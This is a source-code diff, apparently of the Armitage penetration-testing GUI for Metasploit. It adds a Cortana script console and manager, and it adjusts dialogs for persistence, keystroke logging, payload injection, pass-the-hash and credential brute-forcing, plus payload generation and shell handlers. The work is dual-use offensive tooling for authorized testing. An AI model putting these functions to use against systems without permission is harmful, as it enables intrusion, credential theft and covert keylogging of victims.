$panel = [new JPanel];
|
||||
[$panel setLayout: [new BorderLayout]];
|
||||
|
||||
($table, $model) = setupTable($3[0], sublist($3, 1), $4);
|
||||
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
|
||||
|
||||
if ($tablef !is $null) {
|
||||
[$tablef: $table, $model];
|
||||
}
|
||||
|
||||
$button = [new JButton: $2];
|
||||
[$button addActionListener: lambda({
|
||||
|
@ -459,7 +475,12 @@ sub gotoFile {
|
|||
return lambda({
|
||||
local('$exception');
|
||||
try {
|
||||
[[Desktop getDesktop] open: $f];
|
||||
if ([Desktop isDesktopSupported]) {
|
||||
[[Desktop getDesktop] open: $f];
|
||||
}
|
||||
else {
|
||||
ask("Browse to this file:", $f);
|
||||
}
|
||||
}
|
||||
catch $exception {
|
||||
showError("Could not open $f $+ \n $+ $exception");
|
||||
|
@ -510,9 +531,9 @@ sub setClipboard {
|
|||
}
|
||||
|
||||
sub setupMenu {
|
||||
# do nothing for now... this is for something coming later.
|
||||
[$frame setupMenu: $1, $2, _args($3)];
|
||||
}
|
||||
|
||||
sub installMenu {
|
||||
# do nothing for now... this is for something coming later.
|
||||
[$frame installMenu: $1, $2, _args($3)];
|
||||
}
|
||||
|
|
|
@ -113,11 +113,13 @@ sub generatePayload {
|
|||
$options["Format"] = $format;
|
||||
$data = call($client, "module.execute", "payload", $module, $options);
|
||||
|
||||
$handle = openf("> $+ $file");
|
||||
writeb($handle, $data["payload"]);
|
||||
closef($handle);
|
||||
if ($data !is $null) {
|
||||
$handle = openf("> $+ $file");
|
||||
writeb($handle, $data["payload"]);
|
||||
closef($handle);
|
||||
|
||||
showError("Saved $file");
|
||||
showError("Saved $file");
|
||||
}
|
||||
}, $args => @_, \$file));
|
||||
}
|
||||
|
||||
|
@ -241,13 +243,16 @@ sub _launch_dialog {
|
|||
|
||||
$model = [new GenericTableModel: @("Option", "Value"), "Option", 128];
|
||||
[$model setCellEditable: 1];
|
||||
foreach $key => $value ($options) {
|
||||
foreach $key => $value ($options) {
|
||||
if ($key eq "THREADS") {
|
||||
$default = "24";
|
||||
}
|
||||
else if ($key eq "LHOST") {
|
||||
$default = $MY_ADDRESS;
|
||||
}
|
||||
else if ($key eq "LPORT" && $value['default'] eq '4444') {
|
||||
$default = randomPort();
|
||||
}
|
||||
else if ($key eq "RHOSTS" && size($5) > 0) {
|
||||
$default = join(", ", $5);
|
||||
}
|
||||
|
@ -351,6 +356,19 @@ sub _launch_dialog {
|
|||
if (!isShift($1)) {
|
||||
[$dialog setVisible: 0];
|
||||
}
|
||||
|
||||
# fix some module options...
|
||||
if ($command eq "windows/manage/persistence") {
|
||||
if ('REXE' in $options) {
|
||||
$options['ACTION'] = 'REXE';
|
||||
}
|
||||
else {
|
||||
$options['ACTION'] = 'TEMPLATE';
|
||||
}
|
||||
}
|
||||
|
||||
# it's go time buddy... time to filter some stuff...
|
||||
($type, $command, $options) = filter_data("user_launch", $type, $command, $options);
|
||||
|
||||
if ($visible) {
|
||||
if ('SESSION' in $options) {
|
||||
|
@ -528,7 +546,7 @@ sub createJobsTab {
|
|||
[$sorter setComparator: 3, { return $1 <=> $2; }];
|
||||
|
||||
$jobsf = lambda(&updateJobsTable, \$model);
|
||||
[$jobsf];
|
||||
thread($jobsf);
|
||||
|
||||
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
|
||||
|
||||
|
|
|
@ -7,7 +7,7 @@ import java.io.*;
|
|||
global('%logs');
|
||||
%logs = ohash();
|
||||
setMissPolicy(%logs, {
|
||||
return [new PrintStream: [new FileOutputStream: $2, 1], 1, "UTF-8"];
|
||||
return [[$cortana getSharedData] getLogger: $2];
|
||||
});
|
||||
|
||||
# logNow("file", "host|all", "text to log");
|
||||
|
|
|
@ -36,6 +36,8 @@ sub host_selected_items {
|
|||
$h = menu($1, "Host", 'H');
|
||||
|
||||
$o = menu($h, "Operating System", 'O');
|
||||
item($o, "Android", 'A', setHostValueFunction($2, "os_name", "Android"));
|
||||
item($o, "Apple iOS", 'i', setHostValueFunction($2, "os_name", "Apple iOS"));
|
||||
item($o, "Cisco IOS", 'C', setHostValueFunction($2, "os_name", "Cisco IOS"));
|
||||
item($o, "FreeBSD", 'F', setHostValueFunction($2, "os_name", "FreeBSD"));
|
||||
item($o, "Linux", 'L', setHostValueFunction($2, "os_name", "Linux"));
|
||||
|
@ -72,6 +74,7 @@ sub view_items {
|
|||
item($1, 'Downloads', 'D', { thread(&createDownloadBrowser); });
|
||||
item($1, 'Jobs', 'J', { thread(&createJobsTab); });
|
||||
item($1, 'Loot', 'L', { thread(&createLootBrowser) });
|
||||
item($1, 'Script Console', 'S', { showScriptConsole(); });
|
||||
|
||||
setupMenu($1, "view_middle", @());
|
||||
|
||||
|
@ -150,6 +153,8 @@ sub armitage_items {
|
|||
item($m, 'Bind (connect to)', 'B', &connect_for_shellz);
|
||||
item($m, 'Reverse (wait for)', 'R', &listen_for_shellz);
|
||||
|
||||
item($1, 'Scripts...', 'S', { showScriptManager(); });
|
||||
|
||||
setupMenu($1, "main_middle", @());
|
||||
|
||||
separator($1);
|
||||
|
@ -183,13 +188,19 @@ sub main_attack_items {
|
|||
|
||||
sub gotoURL {
|
||||
return lambda({
|
||||
[[Desktop getDesktop] browse: $url];
|
||||
if ([Desktop isDesktopSupported]) {
|
||||
[[Desktop getDesktop] browse: $url];
|
||||
}
|
||||
else {
|
||||
ask("Browse to this URL:", $url);
|
||||
}
|
||||
}, $url => [[new URL: $1] toURI]);
|
||||
}
|
||||
|
||||
sub help_items {
|
||||
item($1, "Homepage", 'H', gotoURL("http://www.fastandeasyhacking.com/"));
|
||||
item($1, "Tutorial", 'T', gotoURL("http://www.fastandeasyhacking.com/manual"));
|
||||
item($1, "Tutorial", 'T', gotoURL("http://www.fastandeasyhacking.com/manual"));
|
||||
item($1, "Scripts", 'S', gotoURL("https://github.com/rsmudge/cortana-scripts"));
|
||||
item($1, "Issue Tracker", 'I', gotoURL("http://code.google.com/p/armitage/issues/list"));
|
||||
item($1, "User Survey", 'U', gotoURL("https://docs.google.com/spreadsheet/viewform?formkey=dEdSNGdJY2Z1LVloWXBnX2o4SkdGZHc6MQ"));
|
||||
setupMenu($1, "help", @());
|
||||
|
|
|
@ -14,7 +14,7 @@ global('%sessions %handlers $handler');
|
|||
|
||||
sub session {
|
||||
if ($1 !in %sessions && $mclient !is $null) {
|
||||
%sessions[$1] = [new MeterpreterSession: $client, $1, iff($client !is $mclient)];
|
||||
%sessions[$1] = [$cortana getSession: $1];
|
||||
[%sessions[$1] addListener: lambda(&parseMeterpreter)];
|
||||
}
|
||||
|
||||
|
@ -30,6 +30,15 @@ sub oneTimeShow {
|
|||
}, $command => $1);
|
||||
}
|
||||
|
||||
sub m_cmd_callback {
|
||||
if ($mclient is $null) {
|
||||
warn("Dropping: " . @_ . " - collab check not complete!");
|
||||
return;
|
||||
}
|
||||
|
||||
[session($1) addCommand: $3, "$2 $+ \n"];
|
||||
}
|
||||
|
||||
# m_cmd("session", "command here")
|
||||
sub m_cmd {
|
||||
if ($mclient is $null) {
|
||||
|
@ -57,7 +66,7 @@ sub parseMeterpreter {
|
|||
# called with: sid, token, response
|
||||
($sid, $token, $response) = @_;
|
||||
|
||||
if ($token isa ^MeterpreterClient) {
|
||||
if ($token isa ^MeterpreterClient || $token isa ^cortana.metasploit.MeterpreterBridge$MeterpreterToken) {
|
||||
return;
|
||||
}
|
||||
|
||||
|
@ -182,12 +191,18 @@ sub showMeterpreterMenu {
|
|||
}, $sid => "$sid"));
|
||||
|
||||
item($j, "Persist", 'P', lambda({
|
||||
launch_dialog("Persistence", "post", "windows/manage/persistence", 1, $null, %(SESSION => $sid, LPORT => %MSF_GLOBAL['LPORT'], HANDLER => "0"));
|
||||
thread(lambda({
|
||||
launch_dialog("Persistence", "post", "windows/manage/persistence", 1, $null, %(SESSION => $sid, LPORT => %MSF_GLOBAL['LPORT'], HANDLER => "0"));
|
||||
}, \$sid));
|
||||
}, $sid => "$sid"));
|
||||
|
||||
item($j, "Pass Session", 'S', lambda({
|
||||
launch_dialog("Pass Session", "post", "windows/manage/payload_inject", 1, $null, %(SESSION => $sid, LPORT => %MSF_GLOBAL['LPORT'], HANDLER => "0"));
|
||||
thread(lambda({
|
||||
launch_dialog("Pass Session", "post", "windows/manage/payload_inject", 1, $null, %(SESSION => $sid, LPORT => %MSF_GLOBAL['LPORT'], HANDLER => "0"));
|
||||
}, \$sid));
|
||||
}, $sid => "$sid"));
|
||||
|
||||
setupMenu($j, "meterpreter_access", @($sid));
|
||||
}
|
||||
|
||||
$j = menu($1, "Interact", 'I');
|
||||
|
@ -223,12 +238,16 @@ sub showMeterpreterMenu {
|
|||
}, $sid => "$sid"));
|
||||
}
|
||||
|
||||
setupMenu($j, "meterpreter_interact", @($sid));
|
||||
|
||||
$j = menu($1, "Explore", 'E');
|
||||
item($j, "Browse Files", 'B', lambda({ createFileBrowser($sid, $platform); }, $sid => "$sid", \$platform));
|
||||
item($j, "Show Processes", 'P', lambda({ createProcessBrowser($sid); }, $sid => "$sid"));
|
||||
if ("*win*" iswm $platform) {
|
||||
item($j, "Log Keystrokes", 'K', lambda({
|
||||
launch_dialog("Log Keystrokes", "post", "windows/capture/keylog_recorder", 1, $null, %(SESSION => $sid, MIGRATE => 1, ShowKeystrokes => 1));
|
||||
thread(lambda({
|
||||
launch_dialog("Log Keystrokes", "post", "windows/capture/keylog_recorder", 1, $null, %(SESSION => $sid, MIGRATE => 1, ShowKeystrokes => 1));
|
||||
}, \$sid));
|
||||
}, $sid => "$sid"));
|
||||
}
|
||||
|
||||
|
@ -238,6 +257,8 @@ sub showMeterpreterMenu {
|
|||
item($j, "Webcam Shot", 'W', createWebcamViewer("$sid"));
|
||||
}
|
||||
|
||||
setupMenu($j, "meterpreter_explore", @($sid));
|
||||
|
||||
separator($j);
|
||||
|
||||
item($j, "Post Modules", 'M', lambda({ showPostModules($sid); }, $sid => "$sid"));
|
||||
|
@ -246,6 +267,8 @@ sub showMeterpreterMenu {
|
|||
item($j, "Setup...", 'A', setupPivotDialog("$sid"));
|
||||
item($j, "Remove", 'R', lambda({ killPivots($sid, $session); }, \$session, $sid => "$sid"));
|
||||
|
||||
setupMenu($1, "meterpreter_bottom", @($sid));
|
||||
|
||||
if ("*win*" iswm $platform) {
|
||||
item($1, "ARP Scan...", 'A', setupArpScanDialog("$sid"));
|
||||
}
|
||||
|
@ -253,8 +276,6 @@ sub showMeterpreterMenu {
|
|||
item($1, "Ping Sweep...", 'P', setupPingSweepDialog("$sid"));
|
||||
}
|
||||
|
||||
setupMenu($1, "meterpreter_bottom", @($sid));
|
||||
|
||||
separator($1);
|
||||
|
||||
item($1, "Kill", 'K', lambda({ call_async($client, "session.stop", $sid); }, $sid => "$sid"));
|
||||
|
@ -290,6 +311,9 @@ sub launch_msf_scans {
|
|||
if ('RPORT' in %o) {
|
||||
$port = %o['RPORT']['default'];
|
||||
push(%ports[$port], $scanner);
|
||||
if ($port == 80) {
|
||||
push(%ports['443'], $scanner);
|
||||
}
|
||||
}
|
||||
|
||||
safetyCheck();
|
||||
|
@ -298,7 +322,7 @@ sub launch_msf_scans {
|
|||
|
||||
# add these ports to our list of ports to scan.. these come from querying all of Metasploit's modules
|
||||
# for the default ports
|
||||
foreach $port (@(50000, 21, 1720, 80, 443, 143, 3306, 1521, 110, 5432, 50013, 25, 161, 22, 23, 17185, 135, 8080, 4848, 1433, 5560, 512, 513, 514, 445, 5900, 5038, 111, 139, 49, 515, 7787, 2947, 7144, 9080, 8812, 2525, 2207, 3050, 5405, 1723, 1099, 5555, 921, 10001, 123, 3690, 548, 617, 6112, 6667, 3632, 783, 10050, 38292, 12174, 2967, 5168, 3628, 7777, 6101, 10000, 6504, 41523, 41524, 2000, 1900, 10202, 6503, 6070, 6502, 6050, 2103, 41025, 44334, 2100, 5554, 12203, 26000, 4000, 1000, 8014, 5250, 34443, 8028, 8008, 7510, 9495, 1581, 8000, 18881, 57772, 9090, 9999, 81, 3000, 8300, 8800, 8090, 389, 10203, 5093, 1533, 13500, 705, 623, 4659, 20031, 16102, 6080, 6660, 11000, 19810, 3057, 6905, 1100, 10616, 10628, 5051, 1582, 65535, 105, 22222, 30000, 113, 1755, 407, 1434, 2049, 689, 3128, 20222, 20034, 7580, 7579, 38080, 12401, 910, 912, 11234, 46823, 5061, 5060, 2380, 69, 5800, 62514, 42, 5631, 902)) {
|
||||
foreach $port (@(50000, 21, 1720, 80, 443, 143, 3306, 1521, 110, 5432, 50013, 25, 161, 22, 23, 17185, 135, 8080, 4848, 1433, 5560, 512, 513, 514, 445, 5900, 5038, 111, 139, 49, 515, 7787, 2947, 7144, 9080, 8812, 2525, 2207, 3050, 5405, 1723, 1099, 5555, 921, 10001, 123, 3690, 548, 617, 6112, 6667, 3632, 783, 10050, 38292, 12174, 2967, 5168, 3628, 7777, 6101, 10000, 6504, 41523, 41524, 2000, 1900, 10202, 6503, 6070, 6502, 6050, 2103, 41025, 44334, 2100, 5554, 12203, 26000, 4000, 1000, 8014, 5250, 34443, 8028, 8008, 7510, 9495, 1581, 8000, 18881, 57772, 9090, 9999, 81, 3000, 8300, 8800, 8090, 389, 10203, 5093, 1533, 13500, 705, 623, 4659, 20031, 16102, 6080, 6660, 11000, 19810, 3057, 6905, 1100, 10616, 10628, 5051, 1582, 65535, 105, 22222, 30000, 113, 1755, 407, 1434, 2049, 689, 3128, 20222, 20034, 7580, 7579, 38080, 12401, 910, 912, 11234, 46823, 5061, 5060, 2380, 69, 5800, 62514, 42, 5631, 902, 5985)) {
|
||||
$temp = %ports[$port];
|
||||
}
|
||||
|
||||
|
@ -328,7 +352,12 @@ sub launch_msf_scans {
|
|||
if ($port in %ports) {
|
||||
$modules = %ports[$port];
|
||||
foreach $module ($modules) {
|
||||
push(@launch, @($module, %(RHOSTS => join(", ", $hosts), RPORT => $port, THREADS => 24)));
|
||||
if ($port == 443) {
|
||||
push(@launch, @($module, %(RHOSTS => join(", ", $hosts), RPORT => $port, THREADS => 24, SSL => "1")));
|
||||
}
|
||||
else {
|
||||
push(@launch, @($module, %(RHOSTS => join(", ", $hosts), RPORT => $port, THREADS => 24)));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -19,9 +19,24 @@ sub createModuleBrowser {
|
|||
return $split;
|
||||
}
|
||||
|
||||
sub isClientside {
|
||||
local('$options');
|
||||
$options = call($mclient, "module.options", "exploit", $1);
|
||||
return iff ('RHOST' in $options || 'RHOSTS' in $options, $null, 1);
|
||||
}
|
||||
|
||||
sub showModulePopup {
|
||||
local('$event $type $path');
|
||||
($event, $type, $path) = @_;
|
||||
|
||||
# we go through this hassle because &isClientside calls module.options which could block
|
||||
# and freeze the UI--we don't want to do that...
|
||||
thread(lambda(&_showModulePopup, \$event, \$type, \$path));
|
||||
}
|
||||
|
||||
sub _showModulePopup {
|
||||
local('$menu');
|
||||
if (($2 eq "exploit" && "*/browser/*" !iswm $3 && "*/fileformat/*" !iswm $3) || ($2 eq "auxiliary" && "*_login" iswm $3)) {
|
||||
if (($type eq "exploit" && !isClientside($path)) || ($type eq "auxiliary" && "*_login" iswm $path)) {
|
||||
$menu = [new JPopupMenu];
|
||||
item($menu, "Relevant Targets", 'R', lambda({
|
||||
thread(lambda({
|
||||
|
@ -61,14 +76,18 @@ sub showModulePopup {
|
|||
showError("I'm sorry, this option doesn't work for\nthis module.");
|
||||
}
|
||||
}, \$module, \$type));
|
||||
}, $module => $3, $type => $2));
|
||||
}, $module => $path, \$type));
|
||||
|
||||
setupMenu($menu, "module", @($2, $3));
|
||||
setupMenu($menu, "module", @($type, $path));
|
||||
|
||||
[$menu show: [$1 getSource], [$1 getX], [$1 getY]];
|
||||
dispatchEvent(lambda({
|
||||
[$menu show: [$event getSource], [$event getX], [$event getY]];
|
||||
}, \$menu, \$event));
|
||||
}
|
||||
else {
|
||||
installMenu($1, "module", @($2, $3));
|
||||
dispatchEvent(lambda({
|
||||
installMenu($event, "module", @($type, $path));
|
||||
}, \$type, \$path, \$event));
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -79,7 +98,7 @@ sub moduleAction {
|
|||
thread(lambda({
|
||||
if ($path in @exploits || $path in @auxiliary || $path in @payloads || $path in @post) {
|
||||
if ($type eq "exploit") {
|
||||
if ('*/browser/*' iswm $path || '*/fileformat/*' iswm $path) {
|
||||
if (isClientside($path) || $path eq "windows/local/current_user_psexec") {
|
||||
launch_dialog($path, $type, $path, 1, $hosts);
|
||||
}
|
||||
else {
|
||||
|
|
|
@ -207,7 +207,10 @@ sub pass_the_hash {
|
|||
}
|
||||
elog("psexec: " . [$user getText] . ":" . [$pass getText] . " @ " . join(", ", $hosts));
|
||||
}
|
||||
[$dialog setVisible: 0];
|
||||
|
||||
if (!isShift($1)) {
|
||||
[$dialog setVisible: 0];
|
||||
}
|
||||
}, \$dialog, \$user, \$domain, \$pass, \$reverse, \$hosts, \$brute, \$model)];
|
||||
|
||||
$b2 = [new JPanel];
|
||||
|
@ -274,7 +277,9 @@ sub show_login_dialog {
|
|||
elog("login $srvc with " . [$user getText] . ":" . [$pass getText] . " @ " . %options["RHOSTS"]);
|
||||
module_execute("auxiliary", "scanner/ $+ $srvc $+ / $+ $srvc $+ _login", %options);
|
||||
}
|
||||
[$dialog setVisible: 0];
|
||||
if (!isShift($1)) {
|
||||
[$dialog setVisible: 0];
|
||||
}
|
||||
}, \$dialog, \$user, \$pass, \$hosts, \$srvc, \$port, \$brute, \$model)];
|
||||
|
||||
$b2 = [new JPanel];
|
||||
|
@ -292,19 +297,24 @@ sub show_login_dialog {
|
|||
}
|
||||
|
||||
sub createUserPassFile {
|
||||
local('$handle $user $pass $type $row $2 $name');
|
||||
local('$handle $user $pass $type $row $2 $name %entries');
|
||||
$name = "userpass" . rand(10000) . ".txt";
|
||||
|
||||
$handle = openf("> $+ $name");
|
||||
# loop through our entries and store them
|
||||
%entries = ohash();
|
||||
foreach $row ($1) {
|
||||
($user, $pass, $type) = values($row, @("user", "pass", "ptype"));
|
||||
if ($type eq "password" || $type eq $2) {
|
||||
println($handle, "$user $pass");
|
||||
%entries["$user $pass"] = "$user $pass";
|
||||
}
|
||||
else {
|
||||
println($handle, "$user");
|
||||
%entries[$user] = $user;
|
||||
}
|
||||
}
|
||||
|
||||
# print out unique entry values
|
||||
$handle = openf("> $+ $name");
|
||||
printAll($handle, values(%entries));
|
||||
closef($handle);
|
||||
|
||||
if ($client !is $mclient) {
|
||||
|
|
|
@ -130,10 +130,15 @@ sub loadDatabasePreferences {
|
|||
}
|
||||
|
||||
sub savePreferences {
|
||||
local('$file');
|
||||
$file = getFileProper(systemProperties()["user.home"], ".armitage.prop");
|
||||
if (-exists getFileParent($file)) {
|
||||
[$preferences save: [new java.io.FileOutputStream: $file], "Armitage Configuration"];
|
||||
try {
|
||||
local('$file $exception');
|
||||
$file = getFileProper(systemProperties()["user.home"], ".armitage.prop");
|
||||
if (-exists getFileParent($file)) {
|
||||
[$preferences save: [new java.io.FileOutputStream: $file], "Armitage Configuration"];
|
||||
}
|
||||
}
|
||||
catch $exception {
|
||||
showError("I could not save your preferences:\n $+ $exception");
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -152,7 +157,7 @@ sub updatePrefModel {
|
|||
|
||||
foreach $key => $value (convertAll($preferences)) {
|
||||
($component, $name, $type) = split('\\.', $key);
|
||||
if ($type eq "color" || $type eq "shortcut" || $type eq "font" || $type eq "folder") {
|
||||
if ($type eq "color" || $type eq "shortcut" || $type eq "font" || $type eq "folder" || $type eq "file") {
|
||||
$type = "$type \u271A";
|
||||
}
|
||||
|
||||
|
@ -220,6 +225,14 @@ sub createPreferencesTab {
|
|||
[$model fireListeners];
|
||||
}
|
||||
}
|
||||
else if ($type eq "file") {
|
||||
local('$file');
|
||||
$file = chooseFile();
|
||||
if ($file !is $null) {
|
||||
[$model setValueAtRow: $row, "value", $file];
|
||||
[$model fireListeners];
|
||||
}
|
||||
}
|
||||
else if ($type eq "font") {
|
||||
local('$dialog $select $style $size $ok $cancel $preview $graphics $l $font $_style');
|
||||
$dialog = dialog("Choose a font", 640, 240);
|
||||
|
|
|
@ -27,6 +27,12 @@ sub parseProcessList {
|
|||
# REMOVEME--this is a backwards compatability hack.
|
||||
@rows = parseTextTable($2, @("PID", "Name", "Arch", "Session", "User", "Path"));
|
||||
}
|
||||
|
||||
# this is the format for Java meterpreter
|
||||
if (size(@rows) == 0) {
|
||||
@rows = parseTextTable($2, @("PID", "Name", "Arch", "User", "Path"));
|
||||
}
|
||||
|
||||
foreach $row (@rows) {
|
||||
[%processes[$1] addEntry: $row];
|
||||
}
|
||||
|
|
|
@ -63,9 +63,15 @@ sub dumpData {
|
|||
}
|
||||
|
||||
sub fixHosts {
|
||||
# avoid duplicate host entries
|
||||
local('%unique $entry');
|
||||
foreach $entry ($1) {
|
||||
%unique[$entry['address']] = $entry;
|
||||
}
|
||||
|
||||
return sort({
|
||||
return [graph.Route ipToLong: $1['address']] <=> [graph.Route ipToLong: $2['address']];
|
||||
}, $1);
|
||||
}, values(%unique));
|
||||
}
|
||||
|
||||
sub fixSessions {
|
||||
|
@ -98,7 +104,7 @@ sub fixTimeline {
|
|||
}
|
||||
|
||||
sub fixVulns {
|
||||
local('$id $vuln %vulns %refs $info');
|
||||
local('$id $vuln %vulns %refs $info $type $module');
|
||||
%refs = ohash();
|
||||
setMissPolicy(%refs, { return @(); });
|
||||
|
||||
|
@ -113,8 +119,17 @@ sub fixVulns {
|
|||
# fix the references...
|
||||
foreach $id => $vuln (%vulns) {
|
||||
$vuln['refs'] = join(", ", %refs[$id]);
|
||||
|
||||
if ("exploit/*" iswm $vuln['name'] && substr($vuln['name'], 8) in @exploits) {
|
||||
|
||||
if ($vuln['info'] ismatch "Exploited by (.*?)/(.*?) to create Session \\d+") {
|
||||
($type, $module) = matched();
|
||||
|
||||
$info = call($mclient, "module.info", $type, $module);
|
||||
|
||||
# fix some options
|
||||
$vuln['module'] = "$type $+ / $+ $module";
|
||||
$vuln['info'] = replace($info['description'], "\n\\s+", "\n");
|
||||
}
|
||||
else if ("exploit/*" iswm $vuln['name'] && substr($vuln['name'], 8) in @exploits) {
|
||||
$info = call($mclient, "module.info", "exploit", substr($vuln['name'], 8));
|
||||
|
||||
# fix some options
|
||||
|
@ -313,6 +328,8 @@ sub _generateArtifacts {
|
|||
[$progress setProgress: 100];
|
||||
[$progress close];
|
||||
|
||||
fire_event_async("user_export", %data);
|
||||
|
||||
return getFileProper(dataDirectory(), formatDate("yyMMdd"), "artifacts");
|
||||
}
|
||||
|
||||
|
|
|
@ -71,12 +71,14 @@ sub update_viewer {
|
|||
logFile($file, sessionToHost($1), $type);
|
||||
$image = [ImageIO read: [new File: $file]];
|
||||
|
||||
fire_event_async("user_" . lc(strrep($type, " ", "_")), $1, $file);
|
||||
|
||||
dispatchEvent(lambda({
|
||||
[$container[$id] setIcon: [new ImageIcon: $image]];
|
||||
}, \$container, \$image, $id => $1));
|
||||
|
||||
if (-isFile $file && "*.jpeg" iswm $file) {
|
||||
deleteFile($file);
|
||||
deleteOnExit($file);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -0,0 +1,168 @@
|
|||
#
|
||||
# Cortana Script Manager...
|
||||
#
|
||||
|
||||
import msf.*;
|
||||
import java.awt.*;
|
||||
import java.io.*;
|
||||
import java.net.*;
|
||||
import javax.swing.*;
|
||||
import javax.imageio.*;
|
||||
import ui.*;
|
||||
|
||||
import cortana.*;
|
||||
|
||||
sub getCortanaConsole {
|
||||
this('$console');
|
||||
if ($console is $null) {
|
||||
$console = [new console.Console: $preferences];
|
||||
logCheck($console, "all", "cortana");
|
||||
|
||||
[$console updatePrompt: "\Ucortana\o> "];
|
||||
setupConsoleStyle($console);
|
||||
|
||||
# make it so all I/O gets placed here...
|
||||
fork({
|
||||
[$cortana addTextListener: lambda({
|
||||
[$console append: "$1 $+ \n"];
|
||||
}, \$console)];
|
||||
}, \$console, \$cortana);
|
||||
|
||||
# setup text processing
|
||||
[[$console getInput] addActionListener: lambda({
|
||||
local('$text');
|
||||
$text = [$1 getActionCommand];
|
||||
[$console append: "cortana> $text $+ \n"];
|
||||
[[$1 getSource] setText: ""];
|
||||
if ($text ne "") {
|
||||
fork({
|
||||
[$cortana processCommand: $text];
|
||||
}, \$cortana, \$text);
|
||||
}
|
||||
}, \$console)];
|
||||
|
||||
# setup tab completion
|
||||
[new CortanaTabCompletion: $console, $cortana];
|
||||
}
|
||||
return $console;
|
||||
}
|
||||
|
||||
sub updateScriptList {
|
||||
local('$table $model $script');
|
||||
($table, $model) = @_;
|
||||
[$model clear: 16];
|
||||
foreach $script (listScripts()) {
|
||||
[$model addEntry: %(name => $script, flags => "")];
|
||||
}
|
||||
[$model fireListeners];
|
||||
}
|
||||
|
||||
sub showScriptConsole {
|
||||
[$frame addTab: "Cortana", getCortanaConsole(), $null];
|
||||
}
|
||||
|
||||
sub showScriptManager {
|
||||
local('$dialog $table $model $load $unload $reload $console $scripts');
|
||||
$dialog = [new JPanel];
|
||||
[$dialog setLayout: [new BorderLayout]];
|
||||
|
||||
($table, $model) = setupTable("name", @("name", "flags"), @());
|
||||
updateScriptList($table, $model);
|
||||
[$table setSelectionMode: [ListSelectionModel SINGLE_INTERVAL_SELECTION]];
|
||||
|
||||
[$dialog add: [new JScrollPane: $table], [BorderLayout CENTER]];
|
||||
|
||||
$load = [new JButton: "Load"];
|
||||
$unload = [new JButton: "Unload"];
|
||||
$console = [new JButton: "Console"];
|
||||
$scripts = [new JButton: "Scripts"];
|
||||
|
||||
[$unload addActionListener: lambda({
|
||||
local('$script $s @scripts');
|
||||
$script = [$model getSelectedValue: $table];
|
||||
if ($script eq "") {
|
||||
return;
|
||||
}
|
||||
|
||||
[$cortana unloadScript: $script];
|
||||
@scripts = listScripts();
|
||||
foreach $s (@scripts) {
|
||||
if ($s eq $script) {
|
||||
remove();
|
||||
}
|
||||
}
|
||||
saveScripts(@scripts);
|
||||
updateScriptList($table, $model);
|
||||
}, \$table, \$model)];
|
||||
|
||||
[$load addActionListener: lambda({
|
||||
local('$file');
|
||||
$file = chooseFile($always => 1);
|
||||
if ($file is $null) {
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
[$cortana loadScript: $file];
|
||||
addScript($file);
|
||||
updateScriptList($table, $model);
|
||||
}
|
||||
catch $exception {
|
||||
if ($exception isa ^sleep.error.YourCodeSucksException) {
|
||||
showScriptError("Could not load $file $+ :\n\n" . [$exception formatErrors]);
|
||||
}
|
||||
else {
|
||||
showError($exception);
|
||||
}
|
||||
}
|
||||
}, \$table, \$model)];
|
||||
|
||||
[$scripts addActionListener: gotoURL("https://github.com/rsmudge/cortana-scripts")];
|
||||
|
||||
[$console addActionListener: &showScriptConsole];
|
||||
|
||||
[$dialog add: center($load, $unload, $console, $scripts), [BorderLayout SOUTH]];
|
||||
[$frame addTab: "Scripts", $dialog, $null];
|
||||
}
|
||||
|
||||
sub showScriptError {
|
||||
local('$dialog $text $close');
|
||||
$dialog = dialog("Script Error", 640, 320);
|
||||
|
||||
$text = [new console.Display: $preferences];
|
||||
[$text setText: $1];
|
||||
[$text setFont: [Font decode: [$preferences getProperty: "console.font.font", "Monospaced BOLD 14"]]];
|
||||
[$text setForeground: [Color decode: [$preferences getProperty: "console.foreground.color", "#ffffff"]]];
|
||||
[$text setBackground: [Color decode: [$preferences getProperty: "console.background.color", "#000000"]]];
|
||||
|
||||
$close = [new JButton: "Close"];
|
||||
[$close addActionListener: lambda({
|
||||
[$dialog setVisible: 0];
|
||||
}, \$dialog)];
|
||||
|
||||
[$dialog add: $text, [BorderLayout CENTER]];
|
||||
[$dialog add: center($close), [BorderLayout SOUTH]];
|
||||
[$dialog show];
|
||||
}
|
||||
|
||||
sub addScript {
|
||||
local('@scripts');
|
||||
@scripts = listScripts();
|
||||
push(@scripts, $1);
|
||||
saveScripts(@scripts);
|
||||
}
|
||||
|
||||
sub listScripts {
|
||||
local('$scripts');
|
||||
$scripts = [$preferences getProperty: "cortana.scripts", ""];
|
||||
if ($scripts ne "") {
|
||||
return split("!!", $scripts);
|
||||
}
|
||||
return @();
|
||||
}
|
||||
|
||||
sub saveScripts {
|
||||
[$preferences setProperty: "cortana.scripts", join("!!", $1)];
|
||||
savePreferences();
|
||||
}
|
||||
|
|
@ -55,6 +55,7 @@ sub client {
|
|||
($method, $args) = $temp;
|
||||
if ($method ne "armitage.validate") {
|
||||
writeObject($handle, result(%(error => 1, message => "You're not authenticated")));
|
||||
[[$handle getOutputStream] flush];
|
||||
return;
|
||||
}
|
||||
else {
|
||||
|
@ -64,16 +65,19 @@ sub client {
|
|||
if ($user ne $_user || $pass ne $_pass) {
|
||||
warn("Rejected $eid (invalid login)");
|
||||
writeObject($handle, result(%(error => 1, message => "Invalid login.")));
|
||||
[[$handle getOutputStream] flush];
|
||||
return;
|
||||
}
|
||||
else if ($app ne "armitage") {
|
||||
warn("Rejected $eid (wrong application)");
|
||||
writeObject($handle, result(%(error => 1, message => "Your client is not compatible with this server.\nPlease use the latest version of Armitage.")));
|
||||
[[$handle getOutputStream] flush];
|
||||
return;
|
||||
}
|
||||
else if ($ver < 120326) {
|
||||
warn("Rejected $eid (old software -- srsly, update people!)");
|
||||
writeObject($handle, result(%(error => 1, message => "Your client is outdated.\nPlease use the latest version of Armitage.")));
|
||||
[[$handle getOutputStream] flush];
|
||||
return;
|
||||
}
|
||||
else if ($motd ne "" && -exists $motd) {
|
||||
|
@ -89,6 +93,7 @@ sub client {
|
|||
event("*** $eid joined\n");
|
||||
warn("*** $eid joined");
|
||||
}
|
||||
